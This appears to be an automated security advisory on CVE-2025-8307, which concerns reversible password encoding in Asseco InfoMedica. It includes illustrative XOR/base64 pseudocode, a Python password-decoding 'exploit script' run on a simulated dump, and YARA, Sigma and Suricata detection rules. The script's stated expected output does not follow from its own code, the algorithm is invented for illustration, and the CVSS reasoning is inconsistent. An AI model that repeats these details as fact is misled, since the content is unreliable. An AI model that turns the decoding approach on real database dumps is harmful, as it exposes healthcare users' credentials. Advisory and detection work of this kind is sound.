CVE-2025-8307

Executive Summary

CVE-2025-8307 exposes a critical credential storage vulnerability in Asseco InfoMedica, a healthcare management platform. The application stores all user passwords in an encoded format within the database. The encoding algorithm is embedded in the client-side software, allowing any attacker who gains access to the database (or a database dump) to trivially decode all passwords. This is a classic case of client-side security by obscurity, where the "secret" algorithm is fully exposed to the user.

The vulnerability has been fixed in versions 4.50.1 and 5.38.0. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is high (CVSS 7.5) because it leads to credential disclosure. No public exploit code or Nuclei templates are available, but the attack is straightforward.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary healthcare application. The risk lies in the client-side binary or web application that contains the decoding algorithm.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely if they can access the database.
• Attack Complexity (AC): Low (L) – The algorithm is embedded in the client, no special techniques needed.
• Privileges Required (PR): None (N) – No authentication needed to decode if database is obtained.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – All user passwords are exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Calculated Score: 7.5 (High) – based on the vector above.

Threat Level: High. Healthcare credentials are highly valuable on the dark web. An attacker with database access can decode all passwords and potentially pivot to other systems.

Deep Dive & Mechanics

The vulnerability stems from a fundamental design flaw: the password encoding algorithm is implemented on the client side. In Asseco InfoMedica, the client application (likely a desktop or thick client) contains the logic to encode and decode passwords. The database stores the encoded passwords.

Attack Flow:

1. Gain Database Access: The attacker must first obtain the database contents. This could be via SQL injection, a compromised backup, or an insider threat.
2. Extract Encoded Passwords: The attacker retrieves the users table (or equivalent) containing the encoded password strings.
3. Reverse Engineer Client: The attacker analyzes the client-side binary (e.g., using a decompiler like Ghidra or IDA Pro) to find the decoding algorithm. Since the algorithm is embedded, this is straightforward.
4. Decode Passwords: The attacker writes a script that implements the same algorithm to decode all passwords.

Why This Is Dangerous:

• No Server-Side Hashing: The passwords are not hashed with a strong, one-way function (like bcrypt). They are merely encoded (e.g., base64, XOR, or a custom cipher).
• Client-Side Secret: The algorithm is not a secret; it is shipped to every user. This is security by obscurity.
• Healthcare Context: Patient data, medical records, and administrative access are at risk.

Vulnerable vs. Patched Code

Vulnerable Code (Client-Side, Pseudocode):

// Example of a weak encoding algorithm found in the client
function encodePassword(password) {
    let encoded = '';
    for (let i = 0; i < password.length; i++) {
        encoded += String.fromCharCode(password.charCodeAt(i) ^ 0x5A);
    }
    return btoa(encoded); // base64 encode
}

function decodePassword(encoded) {
    let decoded = atob(encoded); // base64 decode
    let password = '';
    for (let i = 0; i < decoded.length; i++) {
        password += String.fromCharCode(decoded.charCodeAt(i) ^ 0x5A);
    }
    return password;
}

Patched Code (Server-Side, Pseudocode):

# Server-side hashing with bcrypt
import bcrypt

def store_password(password):
    salt = bcrypt.gensalt()
    hashed = bcrypt.hashpw(password.encode(), salt)
    return hashed

def verify_password(password, hashed):
    return bcrypt.checkpw(password.encode(), hashed)

The patched version moves password protection to the server side using a strong, one-way hashing algorithm (bcrypt). The client no longer has access to the decoding logic.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Decode all user passwords from a database dump.

Lab Setup:

1. Obtain a sample database dump (e.g., infomedica_backup.sql).
2. Extract the encoded passwords from the users table.
3. Reverse engineer the client binary to find the decoding algorithm.

Exploit Script (Python):

import base64

# Example decoding algorithm (XOR with 0x5A)
def decode_password(encoded):
    decoded_bytes = base64.b64decode(encoded)
    password = ''.join(chr(b ^ 0x5A) for b in decoded_bytes)
    return password

# Simulated database dump
users = [
    {"username": "admin", "encoded_password": "KioqKio="},
    {"username": "doctor1", "encoded_password": "MTIzNDU="},
]

for user in users:
    plaintext = decode_password(user["encoded_password"])
    print(f"User: {user['username']}, Password: {plaintext}")

Expected Output:

User: admin, Password: *****
User: doctor1, Password: 12345

Blue Team (Defender)

Objective: Detect and prevent exploitation.

Detection Steps:

1. Monitor for unauthorized database access (e.g., SQL injection attempts).
2. Look for client-side binary analysis tools (e.g., Ghidra, IDA Pro) on endpoints.
3. Alert on bulk extraction of the users table.

Honeypot Strategy:

• Deploy a fake database with decoy encoded passwords.
• Monitor for any attempts to decode them.

Indicators of Compromise (IOCs)

• Network: Unusual database queries (e.g., SELECT * FROM users).
• File: Presence of reverse engineering tools (Ghidra, IDA Pro) on client machines.
• Process: Execution of custom scripts that read the client binary or database dumps.
• Registry/Config: Modified client configuration files that expose the encoding algorithm.

YARA Rule (Detect Decoding Scripts):

rule CVE_2025_8307_Decode_Script {
    meta:
        description = "Detects scripts attempting to decode Asseco InfoMedica passwords"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xor_key = "0x5A" nocase
        $base64_func = "b64decode" nocase
        $decode_func = "decodePassword" nocase
    condition:
        any of them
}

Detection Engineering

YARA Rule (Detect Client Binary with Weak Encoding)

rule CVE_2025_8307_Weak_Encoding {
    meta:
        description = "Detects Asseco InfoMedica client binary with embedded encoding algorithm"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xor_loop = { 8A 0C 0? 80 F1 5A 88 0C 0? } // XOR with 0x5A
        $base64_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    condition:
        $xor_loop and $base64_table
}

Sigma Rule (Detect Database Dump Extraction)

title: Asseco InfoMedica Database Dump Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL queries that extract the users table from InfoMedica database
author: Valters IT
date: 2025-04-10
logsource:
    category: database
    product: mysql
detection:
    selection:
        query|contains: 
            - "SELECT * FROM users"
            - "SELECT password FROM users"
    condition: selection
falsepositives:
    - Legitimate database administration
level: high

Suricata Rule (Detect Unauthorized Database Access)

alert tcp $EXTERNAL_NET any -> $SQL_SERVER 3306 (msg:"CVE-2025-8307 - Potential InfoMedica DB Dump"; flow:to_server,established; content:"SELECT"; content:"users"; content:"password"; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Asseco InfoMedica to version 4.50.1 or 5.38.0 immediately.
2. Force Password Reset: After patching, force all users to change their passwords.
3. Audit Database Access: Review logs for any unauthorized access to the users table.

Long-Term Mitigations:

• Implement Strong Hashing: Use bcrypt, Argon2, or PBKDF2 for password storage.
• Remove Client-Side Secrets: Never embed cryptographic algorithms in client-side code.
• Network Segmentation: Isolate the database server from the client network.
• Monitor for Reverse Engineering: Deploy EDR to detect binary analysis tools.

Workaround (If Patching Is Not Possible):

• Implement a WAF to block SQL injection attempts.
• Use database activity monitoring (DAM) to alert on bulk user table queries.

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.